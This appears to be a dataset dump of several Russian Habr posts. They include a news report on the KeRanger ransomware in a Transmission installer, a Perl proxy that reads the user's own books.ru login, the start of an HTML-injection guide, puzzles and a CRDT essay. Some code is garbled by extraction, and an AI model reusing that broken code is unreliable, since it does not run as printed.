text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Зловред в официальной версии Transmission. Первый известный троян-вымогатель для Mac
В официальной версии open source торрент-клиента Transmission 2.90 под Mac обнаружена вредоносная программа [OSX.KeRanger.A](https://www.virustotal.com/en/file/d1ac55a4e610380f0ab239fcc1c5f5a42722e8ee1554cba8074bbae4a5f6dbe1/analysis/). Первыми её заметили российские пользователи Mac, которые утром 5 марта [подняли тревогу](https://forum.transmissionbt.com/viewtopic.php?f=4&t=17834) на форуме Transmission.
Наличие зловреда на официальном сайте Transmission подтвердили и другие. Инсталлятор подписан сторонним ключом, что может указывать на взлом сервера Transmission посторонними лицами. При этом злоумышленники использовали валидный сертификат Apple Developer, так что у Gatekeeper в OS X не было причин для показа предупреждающих сообщений. Сейчас сертификат аннулирован.
ID сертификата злоумышленников —
6 марта специалисты по безопасности из Palo Alto Networks опубликовали [технический анализ](http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/) зловреда OSX.KeRanger.A, хотя им не удалось понять, как он попал на официальный сайт Transmission.
Сообщается, что заражение двух инсталляторов .DMG на офсайте произошло утром 4 марта примерно в 11:00 PST. Распространение заражённых файлов продолжалось до 5 марта 19:00 PST.
OSX.KeRanger.A – первый дееспособный троян-вымогатель под OS X. После установки в папке /Users//Library/kernel\_service (файл `General.rtf`) он ждёт трое суток, пингуя управляющий сервер через сеть Tor каждые пять минут.
Через трое суток троян начинает шифровать документы 300 определённых форматов на компьютере, по завершении процесса требует у пользователя выкуп 1 биткоин за их расшифровку. Деньги следует перечислить на адрес 1PGAUBqHNcwSHYKnpHgzCrPkyxNxvsmEof.
Специалисты выдвигают версию, что KeRanger всё ещё находится в разработке: в коде есть неиспользуемые функции под названиями `_create_tcp_socket`, `_execute_cmd` и `_encrypt_timemachine`. Вероятно, авторы зловреда работают над тем, что шифровать ещё и бэкап Time Machine.
Apple отозвала сертификат злоумышленников. Разработчики Transmission 5 марта удалили заражённые файлы с сервера и уже выпустили версию [Transmission 2.92](https://www.transmissionbt.com/download/), которая проверяет компьютер на заражение OSX.KeRanger.A.
P.S. Образцы заражённых инсталляторов Transmission см. [зд](https://paloaltonetworks.app.box.com/KeRangerSamples) | https://habr.com/ru/post/357534/ | null | ru | null |
# Telegram-like анимированный placeholder для HTML-инпутов
В качестве улучшения UX/UI я часто сижу и думаю, что можно было бы улучшить в приложении, чтобы пользователю было чуточку веселее пользоваться им.
Как-то раз я заметил интересную анимацию placeholder'a в нативном Desktop приложении Telegram. Подумал, что будет интересным способом использовать такое и в своих проектах.
Сразу понял, что у HTML нет своего API для этого и надо было использовать JavaScript-хаки. Но слишком много хаков мне хотелось использовать, т.к. код должен быть легко портируем и, желательно, вообще не затрагивать готовую разметку на проектах, которые уже в продакшене.
С использованием [CSS attr property](https://developer.mozilla.org/ru/docs/Web/CSS/attr) и CSS content получился примерно вот такой концепт:
**SCSS**
```
label.placeholder {
position: relative;
&:after {
display: flex;
align-items: center;
content: attr(data-placeholder);
position: absolute;
top:0;
right: 0;
bottom: 0;
left: $after-left;
font-size: 14px;
color: grey;
cursor: text;
transition: transform $tf-duration $tf, opacity $tf-duration $tf;
transform: translateX(0);
opacity: 1;
color: $input-default-color;
}
&.hidden {
&:after {
transform: translateX(40%);
opacity: 0;
}
}
}
```
И немного **jQuery:**
**jQuery**
```
$(document).ready(function() {
function placeholderAnimation() {
var $placeholder = $('input[placeholder]');
$placeholder.each(function () {
$(this).wrap('').attr('placeholder', '');
}).on('keyup', function () {
$(this).parent().toggleClass('hidden', this.value !== '');
});
}
placeholderAnimation();
});
```
**Из плюсов:**
* Легко портируется на готовые проекты
* CSS подбирает значения плейсхолдеров из HTML => *не надо менять разметку*
* Всё контролируется CSS-анимациями, соотв. можно налепить всякие cubic-bezier'ы и играться.
* Впишется в любые дизайны, в отличие от всяких там материальных инпутов, где всё прыгает и требует подходящего дизайна всего приложения.
* Быстрый и простой способ сделать UX инпутов немного лучше и приятнее
**Из минусов:**
* Из-за flexbox'a поддержка IE11+
* Из-за лага в keyup событии, пришлось курсор и первую букву плейсхолдера разделить одной буквой, чтобы при вводе в инпут, плейсхолдер и значения ипута не накладывались друг на друга.
[Демка на CodePen](http://codepen.io/knitevision1/pen/rVXKwq)
[GitHub](https://github.com/knitevision1/animated-placeholder)
P.S. Получился недотуториал, конечно, какой-то концепт скорее всего; коротко и прочее, но на мой взгляд стоит внимания. | https://habr.com/ru/post/265497/ | null | ru | null |
# FlexRAID View — объединение нескольких дисков в единый массив
Мне очень нравилась функциональность Windows Home Server по объединению нескольких дисков в единый массив без создания RAID'ов, с возможностью удалять и добавлять диски в любой момент, при смерти одного из винтов информация на остальных оставалась жива и доставалась без проблем.
Но, к сожалению, машинка с WHS через несколько месяцев после покупки от меня ушла, и роль домашней файлопомойки перешла на раутер, где крутится Windows Web Server 2008, который, при всех своих достоинствах, не умеет так гибко рулить дисками, как WHS.
Какое-то время я жил с составным диском — тоже неплохой вариант, но с двумя недостатками — нельзя удалить диск из массива, замена диска в массиве — геморрой. Ну и восстановление информации в случае смерти одного из винтов не очень удобное.
RAID5 средствами Windows — наоборот. Замена диска происходит нормально, восстановление информации, как правило, не требуется. Но пропадает возможность расширения.
Потому, когда решил перейти на двухтерабайтники, заодно занялся поисками более удобного варианта. И нашел — FlexRAID View. Я не буду подробно рассказывать о том, что это такое, как устроено, почему RAID и т.п. Просто кратко напишу как сделать то, что я хотел:
А хотел вообще следующего:
1. Объединить диски с данными в один массив большого объема, чтобы не приходилось вручную сортировать файлы — что возникает при нескольких дисках (пусть даже при монтировании их в папки).
2. Иметь возможность добавлять/удалять/заменять диски в любой момент без развала массива.
3. Независимость информации на дисках друг от друга — чтобы смерть одного из них не приводила к недоступности остальных. Избыточность не нужна, сохранность действительного важного достигается бэкапами.
JBOD, в общем, только более удобный.
Линуксоиды, конечно, сразу начнут говорить умные слова, что-то типа LVM, unionfs, mhddfs… Да, я знаю такие слова, mhddfs сам использую. Но тут мне надо было решение под Windows — дома мне там приятнее жить, чем в линуксе.
В поисках решения я набрел на проект FlexRAID. Сам по себе он задумывался как «RAID для защиты данных» — противопоставление обычным RAID'ам, которые работают на уровне устройств. На текущий момент он еще не доведен до ума, в реальном времени не работает, поддерживается только создание «снимков» и откат на на них.
В качестве же дополнительной функциональности предлагается FlexRAID View. По описанию — как раз то, что мне нужно (и немного больше, но опять же — это больше мне пока не нужно).
##### Установка
Достаточно подробная инструкция имеется [тут](http://flexraid.wikkii.com/wiki/Main_Page), но она несколько избыточна, потому приведу краткий вариант.
1. Качаем FlexRAID Host и Command Line Client: [www.openegg.org/forums/posts/list/308.page](http://www.openegg.org/forums/posts/list/308.page) (нужна регистрация).
2. Устанавливаем сперва первое, затем второе ([тут в картинках](http://flexraid.wikkii.com/wiki/Installing_FlexRAID_for_Windows)). Хотя понажимать Next можно и без картинок.
3. Запускаем клиент и вводим команду *view install* — в списке сервисов должен появиться «FlexRAID Disk Manager»
4. В папке с установленным FlexRAID Host создаем файл ViewConfig.txt. Минимальное содержимое:
`DRIVE=K
UNIQUE=C:\DISKS\2TB1;C:\DISKS\2TB2;C:\DISKS\2TB3
RESTRICT
RESERVE=5GB
THREAD=1
REMOVABLE=false
-K:\
|-*C:\DISKS\2TB1
|-*C:\DISKS\2TB2
|-*C:\DISKS\2TB3`
DRIVE — буква диска
UNIQUE — точки монтирования
RESTRICT — не обязательно, там прописываются правила управления дисковым пространством, в базовом случае не нужно
RESERVE — зарезервированное пространство на разделе, средний размер файла
THREAD — количество потоков. В примере предложено 5, но на текущий момент вероятны проблемы с количеством большим, чем 1 — портятся данные.
REMOVABLE — отображать диск как съемный
5. Создаем в той же папке Autostart.txt, чтобы FlexRAID View запускалось при старте системы. В самом файле пишется время задержки до старта в миллисекундах. Рекомендуется 2000 и больше — в зависимости от скорости инициализации объединяемых дисков. К примеру, если используются сетевые диски — то стоит поставить еще больше.
6. В клиенте вводите команду *view start*
Все, должно работать. Как показал на скриншоте выше — система видит это как обычный диск. В реальности же на одном из дисков создается файловая система, файлы пишутся туда. Когда он заполняется, на следующем диске создается скрытая папка *\_flxr\_*, где находятся файлы, когда вы заходите на диск мимо FlexRAID View.
##### Дополнительно
* Текущая версия имеет статус «бета» — срок жизни полгода. Потом надо апгрейдить. RC живут год, у релизов срок жизни не ограничен.
* Имеются веб-интерфейс и GUI, но они больше заточены под управление функциями RAID'а, а не View. Потому не ставил.
* Сервис 32хбитный, но под 64хбитным windows работает без проблем.
* Имеется версия FlexRAID под Linux, но View там нету (да и не нужно).
##### Ссылки
[www.openegg.org](http://www.openegg.org/) — сайт
[flexraid.wikkii.com/wiki/Main\_Page](http://flexraid.wikkii.com/wiki/Main_Page) — документация
[www.openegg.org/forums](http://www.openegg.org/forums/) — форум | https://habr.com/ru/post/113708/ | null | ru | null |
# Многопоточный прокси на Perl, или как покупать на books.ru удобно
Пообщались мы как-то с пользователем [icoz](https://habrahabr.ru/users/icoz/) по поводу покупок в books.ru и решения, как не купить одну и туже книжку случайно дважды. Диалог получился не очень, а вот решение вышло удобное и показывающее, какие книжки куплены, а какие — нет. Причем, никаких параметров для скрипта не надо. Скрипт получит логин и пароль для взаимодействия с сайтом сам. Если вы купили что-то, то достаточно выйти с сайта books.ru и зайти обратно, чтоб скрипт подхватил купленные Вами книги.
Что нам понадобится?
Машина с установленным перлом и операционной системой Ubuntu (но подойдет любой Linux) под Windows есть проблемы, из-за используемого [fork](http://code.activestate.com/ppm/HTTP-Proxy/) , но их можно победить установив модуль через CPAN with force. Тесты он все равно не пройдет, но нужная нам часть заработает.
Шаг 1: Устанавливаем необходимые библиотеки. Если они уже установлены, бояться не надо — второй раз они не установятся. Для любителей ActivePerl есть ppm.bat
```
sudo apt-get install liburi-encode-perl libwww-perl libhtml-tokeparser-simple-perl libwww-mechanize-perl libdatetime-perl libhttp-proxy-perl
```
Шаг 2: Создаем proxy server не забыв установить нужные фильтры:
```
my $proxy = HTTP::Proxy->new( engine => 'Threaded', port=>8888, max_keep_alive_requests => 0, host=>'127.0.0.1', timeout=>120);
my $filter = HTTP::Proxy::BodyFilter::simple->new(\&alter_page);
$proxy->push_filter(mime => 'text/html', response => HTTP::Proxy::BodyFilter::complete->new(), response => $filter);
$proxy->push_filter(method => 'POST', path =>'/member/login.php', request => HTTP::Proxy::HeaderFilter::simple->new(sub {
my $booklog = uri_decode($1) if $_[2]->decoded_content =~ /login\=(.*?)(?:\&|$)/;
my $bookpsw = uri_decode($1) if $_[2]->decoded_content =~ /password\=(.*?)(?:\&|$)/;
my @new_books = init_proxy($booklog, $bookpsw, @OWN_BOOKS);
{lock (@OWN_BOOKS); @OWN_BOOKS = @new_books;}
}));
```
И запускаем его:
```
$proxy->start;
```
Используется два фильтра:
* Для модификации страницы: alter\_page
* Для захвата логина и пароля: наименованная функция
Важные моменты:
* engine => 'Threaded'. Если выбрать что-либо иное под Windows не заработает, а под Linux заработает с ошибками из-за fork().
* {lock ( @OWN\_BOOKS); @OWN\_BOOKS = @new\_books;}. Если написать напрямую, то возможны проблемы, ибо perl не считает нужным заботиться о многопоточности и считает все переменные thread local.
Шаг 3: Пишем фильтр модификации:
```
sub alter_page
{
my ( $self, $dataref, $message, $protocol, $buffer ) = @_;
return unless ${$dataref};
return unless $message->headers->content_type;
foreach my $haveid (@OWN_BOOKS)
{
my $str = $haveid.'/?show=1"';
my $spat = quotemeta $str;
my $repl = $str." style=\"text-decoration: line-through;\"";
${$dataref} =~ s/$spat/$repl/sg;
}
}
```
Тут все просто: создаем нужный шаблон для замены пробегаясь по всем имеющимся у нас книжкам, и отмечаем их как купленные путем зачеркивания!
Шаг 4: Пишем инициализацию пробегаясь по всем заказам и собирая все книжки которые вы уже купили.
```
foreach my $order_id (@order_list)
{
$resp = $mech->get('http://www.books.ru/order.php?order='.$order_id);
parse_hrefs($resp->decoded_content, sub {push @OWN_BOOKS, $1 if ($_[0] =~ /(\d+)\/download\/\?file_type\=\w{3}/);});
}
my %seen = ();
my @ubooks = grep { ! $seen{$_}++ } @OWN_BOOKS;
```
В конце, убираем из списка все повторы, если таковые есть.
Шаг 5: Казалось бы все, должно работать, но не работает, ибо надо написать:
```
my @OWN_BOOKS :shared;
```
В противном случае глобальная переменная @OWN\_BOOKS будет для каждого потока своя.
Шаг 6: Устанавливаем [FoxyProxy](http://getfoxyproxy.org/) или любое иное расширение, позволяющее использовать per site proxy, и наслаждаемся удобной работай с сайтом books.ru.
**Как обычно, прилагаю полный скрипт**
```
#!/usr/bin/perl
use WWW::Mechanize;
use HTTP::Request::Common;
use LWP;
use LWP::UserAgent;
use HTML::TokeParser;
use DateTime;
use Encode qw(decode encode);
use HTTP::Proxy;
use HTTP::Proxy::BodyFilter::simple;
use HTTP::Proxy::Engine::Threaded;
use HTTP::Proxy::BodyFilter::complete;
use HTTP::Proxy::HeaderFilter::simple;
use URI::Encode qw(uri_encode uri_decode);
use threads;
use threads::shared;
use warnings;
# initialisation
binmode STDOUT, ":utf8";
my @OWN_BOOKS;
share(@OWN_BOOKS);
@OWN_BOOKS = ();
my $proxy = HTTP::Proxy->new( engine => 'Threaded', port=>8888, max_keep_alive_requests => 0, host=>'127.0.0.1', timeout=>120);
$proxy->engine()->max_clients(100);
my $filter = HTTP::Proxy::BodyFilter::simple->new(\&alter_page);
$proxy->push_filter(mime => 'text/html', response => HTTP::Proxy::BodyFilter::complete->new(), response => $filter); #
$proxy->push_filter(method => 'POST', path =>'/member/login.php', request => HTTP::Proxy::HeaderFilter::simple->new(sub {
my $booklog = uri_decode($1) if $_[2]->decoded_content =~ /login\=(.*?)(?:\&|$)/;
my $bookpsw = uri_decode($1) if $_[2]->decoded_content =~ /password\=(.*?)(?:\&|$)/;
my @new_books = init_proxy($booklog, $bookpsw, @OWN_BOOKS);
{lock (@OWN_BOOKS); @OWN_BOOKS = @new_books;}
print "You already has ".scalar @OWN_BOOKS." books.\n";
}));
# this is a MainLoop-like method
$proxy->start;
sub init_proxy
{
my $mail = shift;
my $password = shift;
my @OWN_BOOKS = @_;
my $mech = WWW::Mechanize->new();
$mech->agent_alias("Linux Mozilla");
my $resp = $mech->get('http://www.books.ru/member/login.php');
$mech->cookie_jar->set_cookie(0, 'cookie_first_timestamp',DateTime->now->epoch, '/', 'www.books.ru');
$mech->cookie_jar->set_cookie(0, 'cookie_pages', '1', '/', 'www.books.ru');
$resp = $mech->post('http://www.books.ru/member/login.php',[
'login' => $mail,
'password' => $password,
'go' => 'login',
'x' => rand_from_to(20, 55), 'y' => rand_from_to(10, 19),
'token' => ''
]);
$resp = $mech->get('http://www.books.ru/member/orders/');
my @order_list = $resp->decoded_content =~ /\/gi;
foreach my $order\_id (@order\_list)
{
$resp = $mech->get('http://www.books.ru/order.php?order='.$order\_id);
parse\_hrefs($resp->decoded\_content, sub {push @OWN\_BOOKS, $1 if ($\_[0] =~ /(\d+)\/download\/\?file\_type\=\w{3}/);});
}
my %seen = ();
my @ubooks = grep { ! $seen{$\_}++ } @OWN\_BOOKS;
return @ubooks;
}
sub parse\_hrefs
{
my ($data, $functor) = @\_;
my $stream = HTML::TokeParser->new(\$data);
$stream->empty\_element\_tags(1);
while (my $token = $stream->get\_token)
{
if ($token->[0] eq 'S' && $token->[1] eq 'a')
{
my $href = $token->[2]{'href'};
$functor->($href);
}
}
}
sub alter\_page
{
my ( $self, $dataref, $message, $protocol, $buffer ) = @\_;
return unless ${$dataref};
return unless $message->headers->content\_type;
#print scalar @OWN\_BOOKS."!!!!!\n";
foreach my $haveid (@OWN\_BOOKS)
{
my $str = $haveid.'/?show=1"';
my $spat = quotemeta $str;
my $repl = $str." style=\"text-decoration: line-through;\"";
${$dataref} =~ s/$spat/$repl/sg;
}
}
sub rand\_from\_to
{
my($from, $to) = @\_;
return int(rand($to - $from)) + $from;
}
```
PS: Если будет таково желание общества, то могу разместить модифицированную версию на своем сервере, хотя я бы сам ни за какие удобства не стал пользоваться неконтролируемым мной прокси. | https://habr.com/ru/post/237259/ | null | ru | null |
# Подробное руководство по HTML-инъекциям
**HTML** считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.
Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.
### Содержание:
* Что такое HTML?
* Что такое HTML-инъекция?
* Угрозы HTML-инъекции
* HTML-инъекция и XSS
* Типы инъекций
+ Сохраненный HTML
+ Отраженный HTML
- GET
- POST
- Текущий URL
* Защита от HTML-инъекции
### Что такое HTML?
[HTML](https://habr.com/ru/post/459500/) (HyperText Markup Langauge) — это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из «гипертекста», чтобы включить «текст внутри текста» в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.
Что такое элемент?
Элемент — это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними».
#### HTML-тег
Тег HTML маркирует фрагменты содержимого, такие как:
* «заголовок»
* «абзац»
* «форма» и т. д.
Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:
* начальный тег (открывающий тег)
* конечный тег (закрывающий тег)
Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.
#### Атрибуты HTML
Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами «имя/значение», так что за именем атрибута следует «знак равенства» и значение атрибута.
```
[Надежный и быстрый хостинг для ваших сайтов](https://alexhost.com)
```
Здесь:
* «href» — это «имя атрибута»
* «<https://alexhost.com>» — «значение атрибута»
Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.
#### Базовая HTML-страница
Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением «.html», которые сохраняются и запускаются через веб-браузер.
Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:
```
Hacking Articles lab
WELCOME TO [HACKING ARTILCES](”http://hackingarticles.in”)
----------------------------------------------------------
Author “Raj Chandel”
``` | https://habr.com/ru/post/530862/ | null | ru | null |
# Выпуск#33: ITренировка — актуальные вопросы и задачи от ведущих компаний
Привет! У кого какой день карантина? Побочная сила коронвариуса — он убил все остальные новости. А все остальные новости, как известно, плохие, так что это хорошая новость.
В общем, мы посовещались и решили на этой неделе предложить задачки на тему… вирусов. Спокойно, заразиться через их решения нельзя )
Мойте руки, оставайтесь дома, не трогайте свое лицо, ждите ответов на задачки ровно через неделю.
**P.S.** Ответы на задачки из прошлого выпуска уже [опубликованы](https://habr.com/ru/company/spice/blog/491016/).
Вопросы
-------
1. **Diseases and Tests**
> Dinoo is worried that he might have a rare disease. He decides to get himself tested, and suppose that the testing methods for this disease are correct 99 percent of the time (in other words, if he has the disease, it shows that he does with 99 percent probability, and if he doesn’t have the disease, it shows that he does not with 99 percent probability). Suppose this disease is actually quite rare, occurring randomly in the general population in only one of every 10,000 people.
>
> If his test results come back positive, what are his chances that he actually have the disease?
>
>
>
> **A.** 0.99
>
> **B.** 0 .90
>
> **C.** 0.10
>
> **D.** 0.01
**Перевод**Дину беспокоится, что у него может быть редкая болезнь. Он решает пройти тестирование и предполагает, что методы тестирования на эту болезнь верны в 99 процентах случаев (другими словами, если у него есть болезнь, тест покажет, что он болен с 99-процентной вероятностью, а если у него нет болезни, тест покажет, что он не болен с 99-процентной вероятностью). Предположим, что это заболевание на самом деле довольно редкое, случайно встречающееся в общей популяции только у одного из каждых 10 000 человек.
Если результаты его анализов окажутся положительными, каковы его шансы на то, что он действительно болен этой болезнью?
2. **Strict Pill Schedule Problem**
> You are on a strict medical regimen that requires you to take two types of pills each day. You must take exactly one A pill and exactly one B pill at the same time. The pills are very expensive, and you don’t want to waste any. So you open the bottle of A pills and tap one out into your hand. Then you open the bottle of B pills and do the same thing – but you make a mistake, and two B pills come out into your hand with the A pill. But the pills are all exactly identical. There is no way to tell A pills apart from B pills. Is it possible to satisfy your regimen and take exactly one of each pill at the same time, without wasting any pills?
>
>
>
> 
**Перевод**Вы находитесь на строгом медицинском режиме, который требует от вас принимать два типа таблеток каждый день. Вы должны принять ровно одну таблетку A и ровно одну таблетку B одновременно. Таблетки очень дорогие, и вы не хотите тратить их впустую. Итак, вы открываете пузырек с таблетками A и вытряхиваете одну из них себе на ладонь. Затем вы открываете флакон с таблетками В и делаете то же самое – но вы ошибаетесь, и две таблетки B высыпаются в вашу руку вместе с таблеткой А. Но таблетки все совершенно одинаковые. Нет никакого способа отличить таблетки A от таблеток B. Можно ли соблюсти в данном случае свой режим и принять ровно по одной таблетке в одно и то же время, не тратя впустую таблеток?
Задачи
------
1. **Задача о вирусе в колонии бактерий**
> В колонию, состоящую из N бактерий, попадает один вирус. В первую минуту он уничтожает одну бактерию, затем делится на два новых вируса. Одновременно каждая из оставшихся бактерий тоже делится на две новые. В следующую минуту возникшие два вируса уничтожают две бактерии, и затем оба вируса и все оставшиеся бактерии снова делятся и так далее.
>
>
>
> Будет ли эта колония при указанных условиях жить бесконечно долго или в конце концов погибнет?
2. **Sort the way!**
> A new deadly virus has infected large population of a planet. A brilliant scientist has discovered a new strain of virus which can cure this disease. Vaccine produced from this virus has various strength depending on midichlorians count. A person is cured only if midichlorians count in vaccine batch is more than midichlorians count of person. A doctor receives a new set of report which contains midichlorians count of each infected patient, Practo stores all vaccine doctor has and their midichlorians count. You need to determine if doctor can save all patients with the vaccines he has. The number of vaccines and patients are equal.
>
>
>
> **Input Format:**
>
> First line No of test cases t followed by contains the number of vaccines — N. Second line contains N integers, which are strength of vaccines. Third line contains N integers, which are midichlorians count of patients.
>
>
>
> **Output Format:**
>
> Print a single line containing ′1′ for Yes or '0' for No.
>
>
>
> **Constraints:**
>
> `1<=T<=150
>
> 1<=N<=10`
>
> Strength of vaccines and midichlorians count of patients fit in integer.
>
>
>
> **Sample Input:**
>
> `2
>
> 5
>
> 123 146 454 542 456
>
> 100 328 248 689 200
>
> 8
>
> 87 93 50 22 63 28 91 60
>
> 64 27 41 27 73 37 12 69`
>
>
>
> **Sample Output:**
>
> `0`
**Перевод**Новый смертельный вирус заразил большинство населения планеты. Ученый открыл новый штамм вируса, который может вылечить эту болезнь. Вакцина, полученная из этого вируса, имеет различную силу в зависимости от количества мидихлорианов. Человек вылечивается только в том случае, если количество мидихлорианов в партии вакцины больше, чем количество мидихлорианов в человеке. Врач получает новый набор отчетов, который содержит количество мидихлорианов каждого инфицированного пациента, Practo хранит все вакцины, которые есть у врача, и их количество мидихлорианов. Вам нужно определить, может ли врач спасти всех пациентов с помощью вакцин, которые у него есть. Количество вакцин и пациентов одинаково.
**Входной формат:**
Первая строка содержит количество тестов t, за которой следует число вакцин — N. Вторая строка содержит N целых чисел, которые являются силой вакцин. Третья строка содержит N целых чисел, которые являются количеством мидихлориан у пациентов.
**Выходной формат:**
Выведите одну строку, содержащую «1» для да или «0» Для нет.
**Ограничения:**
`1<=T<=150
1<=N<=10`
Сила вакцин и количество мидихлорианов у пациентов укладываются в целое число.
**Пример входных данных:**
`2
5
123 146 454 542 456
100 328 248 689 200
8
87 93 50 22 63 28 91 60
64 27 41 27 73 37 12 69`
Пример вывода:
`0`
Ответы
------
**Вопрос 1**Ответ D — вероятность того, что у него есть эта болезнь, меньше 1 процента.
Объяснение:
После обсуждения причин удивительной вероятности (ниже) вы должны увидеть, как изменение параметров влияет на результат. Был бы результат столь же удивительным, если бы болезнь была более распространенной? Как изменится вероятность, если вы допустите, что процент ложных подтверждений и ложных отрицаний был разным?
Этот факт может быть выведен с помощью так называемой теоремы Байеса, которая помогает нам найти вероятность события A при условии события B, записанного P (A|B) с точки зрения вероятности события B при условии события A, записанного P (B|A) и вероятностей A и B:
`P(A|B) = P(A)P(B|A) / P(B) => P(B) = P(A)P(B|A)/P(A/B)`
* В нашем случае событие А — это событие, когда у него есть эта болезнь, а событие В — это событие, когда тест положителен.
* Таким образом, P(B|not A) — это вероятность “ложноположительного результата”: что у него положительный тест, даже если у него нет болезни. Здесь P (B|A)=0.99, P (A)=0.0001, и P (B) может быть выведено путем обусловливания того, происходит ли событие A или нет:
`P(B)=P(B|A)P(A)+P(B|not A)P(not A) или 0.99*0.0001+0.01*0.9999.`
Таким образом, соотношение, которое вы получаете из теоремы Байеса, составляет менее 1 процента.
Основная причина, по которой мы получаем такой удивительный результат, заключается в том, что болезнь настолько редка, что число ложных срабатываний значительно превышает число людей, которые действительно болеют этой болезнью. Это можно увидеть, подумав о том, что мы можем ожидать в 1 миллионе случаев. Из этих миллионов человек около 100 будут иметь эту болезнь, и около 99 из этих случаев будут правильно диагностированы как имеющие ее. В противном случае около 999 900 из миллиона не будут иметь заболевания, но из этих случаев около 9999 из них будут ложноположительными (результаты тестов, которые являются положительными из-за ошибок). Итак, если его анализы положительны, то вероятность того, что у него действительно есть болезнь, составляет около 99/(99+9999), что дает примерно ту же долю, что и выше 0.0098 или менее 1 процента!
**Вопрос 2****Решение:**
**Шаг 1:** Разрежьте каждую таблетку пополам.
**Шаг 2:** Возьмите одну половину от каждой пары и сформируйте две пары, скажем, пару А и пару В.
**Шаг 3:** Возьмите еще одну таблетку из флакона А, разрежьте ее пополам.
**Шаг 4:** Положите каждую половинку в обе пары. Теперь каждая стопка содержит две половинки от каждого типа таблеток, поэтому вы просто берете одну из стопок (а другую на следующий день).
**Задача 1**Ответ: колония обречена.
Решение. Легко проверить, что количество бактерий и вирусов будет меняться со временем по следующему закону:
Отсюда ясно, что при t = N количество бактерий обратится в ноль.
**Задача 2**
```
#include
using namespace std;
int main()
{
int t;
cin>>t;
while(t--)
{
int n,p=1;
cin>>n;
int a[n],b[n];
for(int i=0;i>a[i];
for(int i=0;i>b[i];
sort(a,a+n);
sort(b,b+n);
for(int i=0;i
``` | https://habr.com/ru/post/494054/ | null | ru | null |
# Я был неправ. Будущее за CRDT
Несколько недель назад я посмотрел [презентацию Мартина Клеппмана](https://www.youtube.com/watch?v=x7drE24geUw) про его подход к редактированию в реальном времени через [CRDT](https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type) и ощутил жгучее отчаяние. Его подход хорош настолько, что превосходит всю мою работу за последнее десятилетие, и места в будущем ей уже не видать.
Но начнем сначала.
В 2010 году я работал в Google Wave, где мы пробовали создать совместные редактируемые пространства для замены электронной почты, Google Docks, форумов, мгновенных сообщений и многих других однозадачных приложений. Среди моих инструментов мне особенно нравится среда общего назначения, нигде более как в Wave не сформулированный в то время функционал. В отличие от большинства других инструментов, среда общего назначения не навязывает собственный рабочий процесс, благодаря чему через нее можно планировать праздники, создавать вики-проекты, играть с друзьями в настольные игры, назначать рабочие собрания и много чего еще.
Изнутри совместное редактирование Wave работает поверх операционного преобразования (Operational Transform, OT), и в то время им пользовались уже не один день: наш алгоритм основывался [на докладе Jupiter](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwi3mr6CivnrAhXEfd4KHcAyBe4QFjAAegQIBBAB&url=http%3A%2F%2Flively-kernel.org%2Frepository%2Fwebwerkstatt%2Fprojects%2FCollaboration%2Fpaper%2FJupiter.pdf&usg=AOvVaw0HmIhcn7_VKk2h1bEeAOJS) 1995 года. Для каждого документа алгоритм хранит отдельный хронологический список изменений, «Набрать H в позиции 0», «набрать i в позиции 1» и так далее. В большинстве случаев пользователи меняют последнюю версию документа, и лог выглядит как последовательность изменений, однако при совместном редактировании мы сталкиваемся с одновременными правками.
В таком случае первая попавшая на сервер правка записывается как обычно, а следующая, если она оказывается устаревшей, сравнивается с логом событий для определения изначальных целей пользователя. (Чаще всего все сводится к обновлению позиций символов.) Затем алгоритм, с видом якобы «именно такого результата и хотел пользователь», добавляет новую операцию, будто git-rebase в реальном времени.
С закрытием Google Wave я перенес OT модель в [ShareJS](https://github.com/josephg/sharejs). В то время node ощущался новым и странным, и если я правильно помню, ShareJS я запустил еще до релиза npm. Простой совместный редактор затребовал всего лишь тысячу строк кода, и на демонстрации демо-версии я совместно отредактировал документ в браузере и в приложении.
По своей сути, OT это [приукрашенный цикл for()](https://github.com/share/sharedb/blob/c711cfcb777213d193b1f4a101125e8f6e8e6864/lib/submit-request.js#L194-L212) с несколькими [функциями помощи](https://github.com/ottypes/text-unicode/blob/bdcfc545c1a2eda48fe5968ae2ce80cf743b9c08/lib/type.ts#L304-L380) для обновления смещения символов. На практике OT прост, легко понятен, быстро вводится в работу и работает отлично. (10-100 тысяч операций в секунду в неоптимизированном javascript, 1-20 миллионов в [оптимизированном C](https://github.com/ottypes/libot)). Лог событий может тратить памяти больше обычного, однако при желании его можно урезать, правда объединить особо давние правки не получится. Для глобального назначения операций потребуется централизованный сервер, однако у большинства систем уже есть такой сервер или база данных, не правда ли?
Централизованные серверы
------------------------
Значимая проблема OT это зависимость от централизованного сервера. Задумывались ли вы когда-нибудь, почему при разрешении доступа к документу Google Docs через социальные сети вы сталкивались со странным сообщением вида «Этот документ перегружен и его редактирование отключено»? Причина (на мой взгляд) в следующем: когда вы открываете документ, для обработки всех его правок выбирается один конкретный сервер, и когда на документ набрасывается толпа пользователей, системе приходится очень постараться чтобы не перегрузить сервер.
Обойти эту проблему можно несколькими способами: помимо подокументного шардинга (как в Google Docks) можно вносить правки через цикл retry в обход транзакций базы данных, благодаря чему проблема сериализации взваливается на плечи все той же базы данных (в такой манере работают [Firepad](https://firepad.io) и [ShareDB](https://github.com/share/sharedb/)).
